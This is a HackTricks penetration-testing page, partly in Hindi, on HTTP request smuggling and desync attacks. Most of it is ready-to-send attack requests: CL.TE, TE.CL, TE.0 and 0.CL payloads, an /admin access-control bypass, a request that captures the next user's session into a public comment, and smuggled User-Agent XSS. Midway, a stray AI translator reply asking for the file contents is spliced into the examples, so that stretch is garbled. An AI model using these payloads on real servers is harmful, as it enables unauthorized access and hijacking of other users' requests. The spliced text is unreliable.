HTTP Request Smuggling / HTTP Desync Attack

Reading time: 38 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

What is

यह vulnerability तब होता है जब desynchronization front-end proxies और back-end server के बीच ऐसी स्थिति बना देती है कि एक attacker एक ऐसा HTTP request भेज सके जिसे front-end proxies (load balance/reverse-proxy) एक ही request के रूप में interpret करते हैं लेकिन back-end server उसे 2 request के रूप में interpret करता है।
इसके जरिए कोई user back-end server को मिलने वाले अगले request को modify कर सकता है।

Theory

RFC Specification (2161)

If a message is received with both a Transfer-Encoding header field and a Content-Length header field, the latter MUST be ignored.

Content-Length

The Content-Length entity header indicates the size of the entity-body, in bytes, sent to the recipient.

Transfer-Encoding: chunked

The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user.
Chunked means that large data is sent in a series of chunks

Reality

Front-End (a load-balance / Reverse Proxy) एक header (अकसर Content-Length) को process करता है और Back-end server दूसरे header (अकसर Transfer-Encoding) को process करता है, जिससे दोनों systems के बीच एक desynchronization पैदा हो जाती है।
यह बहुत critical हो सकता है क्योंकि एक attacker reverse proxy को एक request भेजकर ऐसा कर सकता है कि back-end server उसे 2 अलग requests के रूप में interpret कर दे। इस technique का खतरा इस तथ्य में है कि back-end server दूसरी, injected request को उस तरह interpret करेगा जैसे वह अगले client से आई हो और उस client का असली request injected request का हिस्सा बन जाएगा।

Particularities

याद रखें कि HTTP में newline character दो bytes से बनता है:

  • Content-Length: यह header request के body के bytes की संख्या बताने के लिए एक decimal number का उपयोग करता है। body उम्मीद के मुताबिक अंतिम character पर समाप्त होता है, और request के अंत में newline आवश्यक नहीं है।
  • Transfer-Encoding: यह header body में अगले chunk के आकार को संकेत करने के लिए hexadecimal number का उपयोग करता है। हर chunk को एक newline के साथ समाप्त होना चाहिए लेकिन यह newline length indicator में गिना नहीं जाता। इस transfer method को size 0 वाला आखिरी chunk और उसके बाद 2 newlines के साथ खत्म होना चाहिए: 0
  • Connection: मेरे अनुभव के आधार पर request smuggling के पहले request पर Connection: keep-alive का उपयोग करना recommend किया जाता है।

Visible - Hidden

HTTP/1.1 की मुख्य समस्या यह है कि सभी requests एक ही TCP socket में जाते हैं, इसलिए यदि दो systems में requests को process करने में कोई discrepancy है तो संभव है कि एक ही request final backend (या बीच के किसी system) द्वारा दो या अधिक अलग requests के रूप में treat हो जाए।

This blog post desync attacks को detect करने के नए तरीके प्रस्तावित करता है जो WAFs द्वारा flag न हों। इसके लिए यह Visible vs Hidden व्यवहार प्रस्तुत करता है। उद्देश्य ऐसे discrepancies की तलाश करना है जो desync का संकेत दें बिना वास्तव में exploit किए।

उदाहरण के तौर पर, एक request भेजना जिसमें normal Host header और " host" header दोनों हों — अगर backend इस request पर complaint करता है (शायद क्योंकि " host" का value गलत है) तो यह संभवतः दर्शाता है कि front-end ने " host" header को नहीं देखा पर final backend ने उसे use किया, जो front-end और backend के बीच desync का संकेत हो सकता है।

यह एक Hidden-Visible discrepancy होगी।

यदि front-end ने " host" header को देखा होता लेकिन backend ने नहीं, तो यह Visible-Hidden स्थिति होती।

उदाहरण के लिए, इससे AWS ALB (front-end) और IIS (backend) के बीच desyncs खोजे जा सके। जब "Host: foo/bar" भेजा गया तो ALB ने 400, Server; awselb/2.0 लौटाया, लेकिन जब "Host : foo/bar" भेजा गया तो response 400, Server: Microsoft-HTTPAPI/2.0 मिला, जो दर्शाता है कि backend response भेज रहा था। यह एक Hidden-Visible (H-V) स्थिति थी।

ध्यान दें कि यह स्थिति AWS में स्वतः ठीक नहीं की गई है, पर इसे रोका जा सकता है routing.http.drop_invalid_header_fields.enabled और routing.http.desync_mitigation_mode = strictest सेट करके।

Basic Examples

tip

When trying to exploit this with Burp Suite disable Update Content-Length and Normalize HTTP/1 line endings in the repeater because some gadgets abuse newlines, carriage returns and malformed content-lengths.

HTTP request smuggling attacks ambiguous requests भेजकर किए जाते हैं जो front-end और back-end servers द्वारा Content-Length (CL) और Transfer-Encoding (TE) headers की अलग-अलग व्याख्या का फायदा उठाते हैं। ये attacks मुख्यतः CL.TE, TE.CL, और TE.TE के रूप में दिखाई देते हैं। हर प्रकार यह दर्शाता है कि front-end और back-end servers इन headers को किस तरह प्राथमिकता देते हैं। vulnerabilities तब पैदा होती हैं जब servers एक ही request को अलग-अलग तरीके से process करते हैं, जिससे अनपेक्षित और potentially malicious परिणाम हो सकते हैं।

Basic Examples of Vulnerability Types

https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104

tip

To the previous table you should add the TE.0 technique, like CL.0 technique but using Transfer Encoding.

CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)

  • Front-End (CL): Content-Length header के आधार पर request को process करता है।

  • Back-End (TE): Transfer-Encoding header के आधार पर request को process करता है।

  • Attack Scenario:

  • attacker एक ऐसा request भेजता है जहाँ Content-Length header का value वास्तविक content length से मेल नहीं खाता।

  • front-end server Content-Length value के आधार पर पूरा request back-end को forward कर देता है।

  • back-end server Transfer-Encoding: chunked header के कारण request को chunked के रूप में process करता है और शेष data को एक अलग, subsequent request के रूप में interpret कर लेता है।

  • Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x

TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)

  • Front-End (TE): Transfer-Encoding header के आधार पर request को process करता है।

  • Back-End (CL): Content-Length header के आधार पर request को process करता है।

  • Attack Scenario:

  • attacker एक chunked request भेजता है जहाँ chunk size (7b) और वास्तविक content length (Content-Length: 4) मेल नहीं खाते।

  • front-end server, Transfer-Encoding का सम्मान करते हुए, पूरा request back-end को forward कर देता है।

  • back-end server केवल request के प्रारंभिक हिस्से (7b bytes) को process करता है, और बाकी हिस्सा unintended subsequent request का हिस्सा बन जाता है।

  • Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)

  • Servers: दोनों Transfer-Encoding को support करते हैं, पर एक को obfuscation से चकमा दिया जा सकता है।

  • Attack Scenario:

  • attacker obfuscated Transfer-Encoding headers के साथ request भेजता है।

  • यह निर्भर करेगा कि किस server (front-end या back-end) obfuscation को पहचानने में विफल रहता है; उससे CL.TE या TE.CL vulnerability exploit की जा सकती है।

  • जिस हिस्से को एक server ने process नहीं किया होता वह subsequent request का हिस्सा बन जाता है, जिससे smuggling होता है।

  • Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

CL.CL Scenario (Content-Length used by both Front-End and Back-End)

  • दोनों servers केवल Content-Length header के आधार पर request को process करते हैं।
  • यह scenario आमतौर पर smuggling की ओर नहीं ले जाता, क्योंकि दोनों servers में length की व्याख्या aligned होती है।
  • Example:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Normal Request

CL.0 Scenario

  • ऐसे परिदृश्यों को संदर्भित करता है जहाँ Content-Length header मौजूद है और इसका value zero के अलावा कुछ है, जो संकेत देता है कि request body में content है। back-end Content-Length header को ignore कर सकता है (जिसे 0 माना जाता है), पर front-end इसे parse करता है।
  • यह smuggling attacks समझने और craft करने में महत्वपूर्ण है, क्योंकि यह तय करता है कि servers request के अंत को कैसे निर्धारित करते हैं।
  • Example:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Non-Empty Body

TE.0 Scenario

  • पिछले वाले जैसा ही परिदृश्य परन्तु TE का उपयोग करते हुए
  • Technique reported here
  • Example:
OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive

50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE

0.CL परिदृश्य

एक 0.CL स्थिति में, एक request को इस तरह के Content-Length के साथ भेजा जाता है:

GET /Logon HTTP/1.1
Host: <redacted>
Content-Length:
7

GET /404 HTTP/1.1
X: Y

और front-end Content-Length को ध्यान में नहीं रखता, इसलिए यह केवल पहला request backend को भेजता है (उदाहरण में 7 तक)। हालांकि, backend Content-Length देखता है और उस body के लिए इंतज़ार करता है जो कभी नहीं आता क्योंकि front-end पहले से ही response के लिए इंतज़ार कर रहा होता है।

हालांकि, यदि ऐसा कोई request हो जिसे backend को भेजा जा सकता है और जो request body मिलने से पहले ही respond कर दिया जाता है, तो यह deadlock नहीं होगा। उदाहरण के लिए IIS में यह /con जैसे forbidden words को भेजने पर होता है (check the documentation), इस तरह initial request सीधे respond कर दिया जाएगा और दूसरा request victim के request को contain करेगा जैसे:

GET / HTTP/1.1
X: yGET /victim HTTP/1.1
Host: <redacted>

This is useful to cause a desync, but it won't have any impact until now.

However, the post offers a solution for this by converting a 0.CL attack into a CL.0 with a double desync.

वेब सर्वर को तोड़ना

यह तकनीक उन परिदृश्यों में भी उपयोगी है जहाँ प्रारंभिक HTTP डेटा पढ़ते समय web server को break करना संभव हो लेकिन connection बंद किए बिना। इस तरह, HTTP request का body अगले HTTP request के रूप में माना जाएगा।

उदाहरण के लिए, जैसा कि this writeup में समझाया गया है, Werkzeug में कुछ Unicode characters भेजना संभव था और इससे सर्वर break हो जाता था। हालाँकि, अगर HTTP connection हेडर Connection: keep-alive के साथ बनाया गया था, तो request का body पढ़ा नहीं जाएगा और connection खुला रहेगा, इसलिए request का body अगले HTTP request के रूप में माना जाएगा।

Forcing via hop-by-hop headers

hop-by-hop headers का दुरुपयोग करके आप proxy को संकेत दे सकते हैं कि वह header Content-Length या Transfer-Encoding को delete कर दे ताकि a HTTP request smuggling को abuse किया जा सके।

Connection: Content-Length

hop-by-hop headers के बारे में अधिक जानकारी के लिए देखें:

hop-by-hop headers

HTTP Request Smuggling का पता लगाना

HTTP request smuggling vulnerabilities की पहचान अक्सर timing techniques का उपयोग करके की जा सकती है, जो यह देखने पर निर्भर करती हैं कि manipulated requests के लिए server को response देने में कितना समय लगता है। ये techniques विशेष रूप से CL.TE और TE.CL vulnerabilities का पता लगाने में उपयोगी हैं। इन तरीकों के अलावा, ऐसी vulnerabilities खोजने के लिए अन्य रणनीतियाँ और tools भी उपयोग किए जा सकते हैं:

Finding CL.TE Vulnerabilities Using Timing Techniques

  • Method:

  • ऐसा request भेजें जो, यदि application vulnerable है, तो back-end server को अतिरिक्त डेटा के लिए इंतज़ार कराएगा।

  • Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0
  • Observation:

  • front-end server Content-Length के आधार पर request को process करता है और message को समय से पहले काट देता है।

  • back-end server, जो chunked message की उम्मीद कर रहा होता है, अगले chunk का इंतज़ार करता है जो कभी नहीं आता, जिससे delay होता है।

  • Indicators:

  • response में timeouts या लंबे विलंब।

  • कभी-कभी back-end server से 400 Bad Request error मिलना, जिसमें विस्तृत server जानकारी हो सकती है।

Finding TE.CL Vulnerabilities Using Timing Techniques

  • Method:

  • ऐसा request भेजें जो, यदि application vulnerable है, तो back-end server को अतिरिक्त डेटा के लिए इंतज़ार कराएगा।

  • Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X
  • Observation:
  • front-end server Transfer-Encoding के आधार पर request को process करता है और पूरा message forward कर देता है।
  • back-end server, जो Content-Length के आधार पर message की उम्मीद कर रहा होता है, अतिरिक्त डेटा का इंतज़ार करता है जो कभी नहीं आता, जिससे delay होता है।

Other Methods to Find Vulnerabilities

  • Differential Response Analysis:
  • request के थोड़े बदलते हुए versions भेजें और देखें कि क्या server responses अनपेक्षित तरीके से अलग होते हैं, जो parsing discrepancy का संकेत देते हैं।
  • Using Automated Tools:
  • Tools जैसे Burp Suite का 'HTTP Request Smuggler' extension स्वतः इन vulnerabilities के लिए विभिन्न प्रकार के ambiguous requests भेजकर और responses का विश्लेषण करके परीक्षण कर सकता है।
  • Content-Length Variance Tests:
  • ऐसे requests भेजें जिनमें Content-Length के मान वास्तविक content length से मेल नहीं खाते और देखें कि server ऐसे mismatches को कैसे संभालता है।
  • Transfer-Encoding Variance Tests:
  • obfuscated या malformed Transfer-Encoding headers वाले requests भेजें और देखें कि front-end और back-end servers उन manipulations पर कैसे भिन्न व्यवहार करते हैं।

The Expect: 100-continue header

देखें कि यह Expect: 100-continue header http desync को exploit करने में कैसे मदद कर सकता है:

Special Http Headers

HTTP Request Smuggling Vulnerability Testing

Timing techniques की प्रभावशीलता की पुष्टि करने के बाद, यह सत्यापित करना महत्वपूर्ण है कि client requests को manipulate किया जा सकता है या नहीं। एक सरल विधि यह है कि आप अपने requests को poisoning करने का प्रयास करें, उदाहरण के लिए, / के लिए भेजा गया request 404 response दे। पहले चर्चा किए गए CL.TE और TE.CL examples Basic Examples में दिखाते हैं कि कैसे एक client's request को poison करके 404 response प्राप्त किया जा सकता है, भले ही client किसी अलग resource को access करने का प्रयास कर रहा हो।

मुख्य विचार

जब आप अन्य requests में हस्तक्षेप करके request smuggling vulnerabilities का परीक्षण कर रहे हों, तो ध्यान में रखें:

  • Distinct Network Connections: "attack" और "normal" requests को अलग network connections पर भेजा जाना चाहिए। दोनों के लिए वही connection उपयोग करने से vulnerability की उपस्थिति मान्य नहीं होती।
  • Consistent URL and Parameters: दोनों requests के लिए समान URLs और parameter names उपयोग करने का प्रयास करें। आधुनिक applications अक्सर URL और parameters के आधार पर requests को specific back-end servers तक route करते हैं। इन्हें मिलाने से संभावना बढ़ती है कि दोनों requests एक ही server द्वारा process हों, जो successful attack के लिए आवश्यक है।
  • Timing and Racing Conditions: "normal" request, जिसे "attack" request से interference पता लगाने के लिए भेजा गया है, अन्य concurrent application requests के साथ प्रतिस्पर्धा करता है। इसलिए "attack" request के तुरंत बाद "normal" request भेजें। व्यस्त applications में conclusive पुष्टि के लिए कई प्रयासों की आवश्यकता पड़ सकती है।
  • Load Balancing Challenges: front-end servers जो load balancers के रूप में कार्य करते हैं, requests को विभिन्न back-end systems पर distribute कर सकते हैं। यदि "attack" और "normal" requests अलग systems पर पहुँच जाते हैं, तो attack सफल नहीं होगा। इस load balancing पहलू के कारण vulnerability की पुष्टि के लिए कई प्रयासों की आवश्यकता हो सकती है।
  • Unintended User Impact: यदि आपका attack अनजाने में किसी अन्य user के request (आपके भेजे गए "normal" request के अलावा) को प्रभावित करता है, तो यह संकेत है कि आपका attack किसी अन्य application user को प्रभावित कर रहा है। बार-बार परीक्षण करने से अन्य users का नुकसान हो सकता है, इसलिए सावधानी बरतें।

HTTP/1.1 pipelining artifacts और genuine request smuggling में अंतर

Connection reuse (keep-alive) और pipelining आसानी से उन testing tools में "smuggling" का भ्रम पैदा कर सकते हैं जो एक ही socket पर कई requests भेजते हैं। harmless client-side artifacts को असली server-side desync से अलग करना सीखें।

Why pipelining creates classic false positives

HTTP/1.1 एक single TCP/TLS connection को reuse करता है और एक ही stream पर requests और responses को concatenates करता है। pipelining में, client कई requests back-to-back भेजता है और in-order responses पर निर्भर रहता है। एक सामान्य false-positive यह है कि malformed CL.0-style payload को एक single connection पर दो बार resend किया जाए:

POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: Y

I don't have the file content. Please paste the contents of src/pentesting-web/http-request-smuggling/README.md (or the portion you want translated).

When you provide it, I'll return the Markdown with:

  • all English prose translated to Hindi,
  • code blocks, hacking technique names, cloud/SaaS names, links, paths, tags and refs left exactly as-is,
  • no added content beyond the translated Markdown.
HTTP/1.1 200 OK
Content-Type: text/html

HTTP/1.1 200 OK
Content-Type: text/plain

User-agent: *
Disallow: /settings

यदि server ने त्रुटिपूर्ण Content_Length को अनदेखा कर दिया, तो कोई FE↔BE desync नहीं होता। reuse के साथ, आपका client वास्तव में यह byte-stream भेजता है, जिसे server ने दो स्वतंत्र requests के रूप में parsed किया:

POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: YPOST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: Y

Impact: कोई नहीं। आपने बस अपना क्लाइंट सर्वर framing से desynced कर दिया।

tip

Burp मॉड्यूल जो reuse/pipelining पर निर्भर करते हैं: Turbo Intruder with requestsPerConnection>1, Intruder with "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" or "Enable connection reuse".

Litmus tests: pipelining or real desync?

  1. Disable reuse and re-test
  • Burp Intruder/Repeater में, HTTP/1 reuse बंद करें और "Send group in sequence" से बचें।
  • Turbo Intruder में, requestsPerConnection=1 और pipeline=False सेट करें।
  • अगर व्यवहार गायब हो जाता है, तो यह संभवतः client-side pipelining था, जब तक कि आप connection-locked/stateful targets या client-side desync से नहीं निपट रहे हों।
  1. HTTP/2 nested-response check
  • एक HTTP/2 request भेजें। अगर response body में एक पूरा nested HTTP/1 response मौजूद है, तो आपने backend parsing/desync बग को साबित कर दिया है न कि सिर्फ client artifact।
  1. Partial-requests probe for connection-locked front-ends
  • कुछ FEs upstream BE connection तभी reuse करते हैं जब client ने अपना connection reuse किया हो। partial-requests का उपयोग करके ऐसे FE व्यवहार का पता लगाएँ जो client reuse को mirror करते हैं।
  • connection-locked technique के लिए PortSwigger "Browser‑Powered Desync Attacks" देखें।
  1. State probes
  • उसी TCP connection पर पहले- बनाम बाद के request में अंतर देखें (first-request routing/validation)।
  • Burp "HTTP Request Smuggler" में एक connection‑state probe शामिल है जो इसे ऑटोमेट करता है।
  1. Visualize the wire
  • प्रयोग करते समय concatenation और message framing सीधे निरीक्षण करने के लिए Burp "HTTP Hacker" extension का उपयोग करें, साथ ही reuse और partial requests के साथ प्रयोग करें।

Connection‑locked request smuggling (reuse-required)

कुछ front-ends केवल तभी upstream connection reuse करते हैं जब client ने अपना connection reuse किया हो। असली smuggling मौजूद है पर वह client-side reuse पर निर्भर है। भेद करने और प्रभाव साबित करने के लिए:

  • server-side bug साबित करें
  • HTTP/2 nested-response check का उपयोग करें, या
  • दिखाने के लिए partial-requests का उपयोग करें कि FE केवल तभी upstream reuse करता है जब client ऐसा करे।
  • वास्तविक प्रभाव दिखाएँ भले ही direct cross-user socket दुर्व्यवहार बंद हो:
  • Cache poisoning: shared caches को desync के जरिए poison करें ताकि responses अन्य users को प्रभावित करें।
  • Internal header disclosure: FE-injected headers (उदा., auth/trust headers) को reflect कराएँ और auth bypass के लिए pivot करें।
  • Bypass FE controls: restricted paths/methods को front-end के पार smuggle करें।
  • Host-header abuse: host routing quirks के साथ मिलाकर internal vhosts तक pivot करें।
  • Operator workflow
  • controlled reuse के साथ reproduce करें (Turbo Intruder requestsPerConnection=2, या Burp Repeater tab group → "Send group in sequence (single connection)")।
  • फिर cache/header-leak/control-bypass primitives के साथ chain करें और cross-user या authorization impact प्रदर्शित करें।

See also connection‑state attacks, which are closely related but not technically smuggling:

{{#ref}} ../http-connection-request-smuggling.md {{#endref}}

Client‑side desync constraints

यदि आप browser-powered/client-side desync को लक्षित कर रहे हैं, तो malicious request browser से cross-origin भेजने योग्य होना चाहिए। Header obfuscation tricks काम नहीं करेंगे। navigation/fetch से पहुंचने योग्य primitives पर ध्यान दें, और फिर cache poisoning, header disclosure, या front-end control bypass की ओर pivot करें जहाँ downstream components responses को reflect या cache करते हैं।

For background and end-to-end workflows:

Browser HTTP Request Smuggling

Tooling to help decide

  • HTTP Hacker (Burp BApp Store): low-level HTTP व्यवहार और socket concatenation को expose करता है।
  • "Smuggling or pipelining?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
  • Turbo Intruder: connection reuse पर precise control के लिए requestsPerConnection
  • Burp HTTP Request Smuggler: first‑request routing/validation spot करने के लिए एक connection‑state probe शामिल है।

note

Reuse-only प्रभावों को non-issues मानें जब तक कि आप server-side desync साबित न कर सकें और concrete impact न जोड़ सकें (poisoned cache artifact, leaked internal header enabling privilege bypass, bypassed FE control, आदि)।

Abusing HTTP Request Smuggling

Front-End Security को HTTP Request Smuggling के माध्यम से बायपास करना

कभी-कभी, front-end proxies security measures लागू करते हैं और incoming requests की जाँच करते हैं। हालाँकि, HTTP Request Smuggling का उपयोग करके ये उपाय बायपास किए जा सकते हैं, जिससे unauthorized access to restricted endpoints संभव होता है। उदाहरण के लिए, externally /admin तक पहुँच प्रतिबंधित हो सकती है और front-end proxy ऐसे प्रयासों को सक्रिय रूप से ब्लॉक कर सकता है। इसके बावजूद, यह proxy smuggled HTTP request के भीतर embedded requests की जांच करना भूल सकता है, जिससे इन प्रतिबंधों को बायपास करने का रास्ता खुल जाता है।

निम्न उदाहरणों पर विचार करें जो दर्शाते हैं कि कैसे HTTP Request Smuggling का उपयोग front-end security controls को बायपास करने के लिए किया जा सकता है, विशेष रूप से /admin path को लक्षित करते हुए जो आमतौर पर front-end proxy द्वारा guarded होता है:

CL.TE Example

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

CL.TE attack में, प्रारंभिक अनुरोध के लिए Content-Length header का उपयोग किया जाता है, जबकि बाद के निहित अनुरोध में Transfer-Encoding: chunked header का उपयोग होता है।

The front-end proxy प्रारंभिक POST अनुरोध को संसाधित करता है पर निहित GET /admin अनुरोध की जाँच करने में विफल रहता है, जिससे /admin path तक अनधिकृत पहुँच संभव हो जाती है।

TE.CL उदाहरण

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

इसके विपरीत, TE.CL हमला में, प्रारम्भिक POST अनुरोध Transfer-Encoding: chunked का उपयोग करता है, और बाद में निहित अनुरोध को Content-Length हेडर के आधार पर संसाधित किया जाता है। CL.TE हमले की तरह, front-end proxy छेड़छाड़ की हुई GET /admin अनुरोध को अनदेखा कर देता है, जिससे अनजाने में प्रतिबंधित /admin पथ तक पहुँच मिल जाती है।

फ्रंट-एंड अनुरोध पुनर्लेखन का खुलासा

Applications अक्सर आने वाले अनुरोधों को back-end server को भेजने से पहले संशोधित करने के लिए एक front-end server का उपयोग करते हैं। एक सामान्य संशोधन हेडर जोड़ना होता है, जैसे X-Forwarded-For: <IP of the client>, ताकि क्लाइंट का IP back-end को पहुंचाया जा सके। इन संशोधनों को समझना महत्वपूर्ण हो सकता है, क्योंकि यह bypass protections करने के तरीके या छुपी हुई जानकारी या endpoints को उजागर करने के रास्ते दिखा सकता है।

यह पता लगाने के लिए कि proxy अनुरोध को कैसे बदलता है, उस POST पैरामीटर को खोजें जिसे back-end प्रतिक्रिया में echo करता है। फिर, इस पैरामीटर को आखिरी में उपयोग करके एक अनुरोध तैयार करें, जो निम्न के समान हो:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

इस संरचना में, उसके बाद आने वाले अनुरोध घटक search= के बाद जोड़ दिए जाते हैं, जो प्रतिक्रिया में परावर्तित होने वाला parameter है। यह परावर्तन आगामी अनुरोध के हैडर को उजागर कर देगा।

यह महत्वपूर्ण है कि nested request का Content-Length header वास्तविक सामग्री की लंबाई के साथ मेल खाए। छोटे मान से शुरू करके धीरे-धीरे बढ़ाना सलाहयुक्त है, क्योंकि बहुत कम मान पर परावर्तित डेटा कट जाएगा, जबकि बहुत अधिक मान पर अनुरोध में त्रुटि आ सकती है।

यह तकनीक TE.CL vulnerability के संदर्भ में भी लागू होती है, लेकिन अनुरोध का अंत search=\r\n0 के साथ होना चाहिए। newline characters की परवाह किए बिना, मान search parameter में जोड़ दिए जाएंगे।

यह विधि मुख्यतः यह समझने में काम आती है कि front-end proxy द्वारा अनुरोध में किस प्रकार परिवर्तन किए जा रहे हैं — मूल रूप से यह एक स्व-निर्देशित जांच है।

Capturing other users' requests

POST operation के दौरान किसी parameter के value के रूप में एक विशिष्ट request जोड़कर अगले यूज़र के अनुरोधों को कैप्चर करना संभव है। इसे इस तरह किया जा सकता है:

By appending the following request as the value of a parameter, you can store the subsequent client's request:

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

In this scenario, the comment parameter is intended to store the contents within a post's comment section on a publicly accessible page. Consequently, the subsequent request's contents will appear as a comment.

हालाँकि, इस technique की सीमाएँ हैं। सामान्यतः यह केवल उसी parameter delimiter तक का डेटा कैप्चर करता है जो smuggled request में उपयोग हुआ होता है। URL-encoded form submissions के लिए, यह delimiter & वर्ण है। इसका अर्थ है कि victim user's request से कैप्चर की गई सामग्री पहले & पर रुक जाएगी, जो कभी-कभी query string का हिस्सा भी हो सकता है।

अतिरिक्त रूप से, यह ध्यान देने योग्य है कि यह तरीका TE.CL vulnerability के साथ भी प्रभावी है। ऐसे मामलों में, request को search=\r\n0 पर समाप्त करना चाहिए। newline characters की परवाह किये बिना, values search parameter में जोड़ दिए जाएंगे।

HTTP request smuggling का उपयोग करके reflected XSS का शोषण

HTTP Request Smuggling का उपयोग उन वेब पेजों को exploit करने के लिए किया जा सकता है जो Reflected XSS के प्रति vulnerable हैं, और यह महत्वपूर्ण फायदे प्रदान करता है:

  • लक्ष्य उपयोगकर्ताओं के साथ interaction आवश्यक नहीं है
  • request के उन हिस्सों में XSS का exploitation संभव होता है जो सामान्यतः अप्राप्य होते हैं, जैसे HTTP request headers।

ऐसे परिदृश्यों में जहाँ कोई वेबसाइट User-Agent header के माध्यम से Reflected XSS के प्रति prone/प्रवण है, निम्न payload इस vulnerability को exploit करने का तरीका दर्शाता है:

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

This payload इस vulnerability का exploit करने के लिए इस तरह से संरचित है:

  1. Initiating a POST request, seemingly typical, with a Transfer-Encoding: chunked header to indicate the start of smuggling.
  2. Following with a 0, marking the end of the chunked message body.
  3. Then, a smuggled GET request is introduced, where the User-Agent header is injected with a script, <script>alert(1)</script>, triggering the XSS when the server processes this subsequent request.

By manipulating the User-Agent through smuggling, the payload सामान्य request constraints को bypass कर देता है, thus exploiting the Reflected XSS vulnerability in a non-standard but effective manner.

HTTP/0.9

caution

यदि user content किसी response में Content-type जैसे text/plain के साथ reflect होता है तो यह XSS के execution को रोक सकता है। यदि server HTTP/0.9 को support करता है तो इसे bypass करना संभव हो सकता है!

HTTP/0.9 version पहले के HTTP/1.0 से पहले का था और केवल GET verbs का उपयोग करता है और response में headers नहीं भेजता, सिर्फ़ body ही भेजता है।

In this writeup, इसे request smuggling और एक vulnerable endpoint के साथ abuse किया गया था जो user के input के साथ reply करता है ताकि HTTP/0.9 के साथ एक request smuggle किया जा सके। जिस parameter को response में reflect किया गया था उसमें एक fake HTTP/1.1 response (with headers and body) था, इसलिए response में valid executable JS code होगा और उसका Content-Type text/html होगा।

Exploiting On-site Redirects with HTTP Request Smuggling

Applications अक्सर एक URL से दूसरे URL पर redirect करती हैं, redirect URL में Host header से hostname का उपयोग करके। यह Apache और IIS जैसे web servers में सामान्य है। उदाहरण के लिए, किसी folder को trailing slash के बिना request करने पर इसे slash जोड़ने के लिए redirect कर दिया जाता है:

GET /home HTTP/1.1
Host: normal-website.com

परिणाम:

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

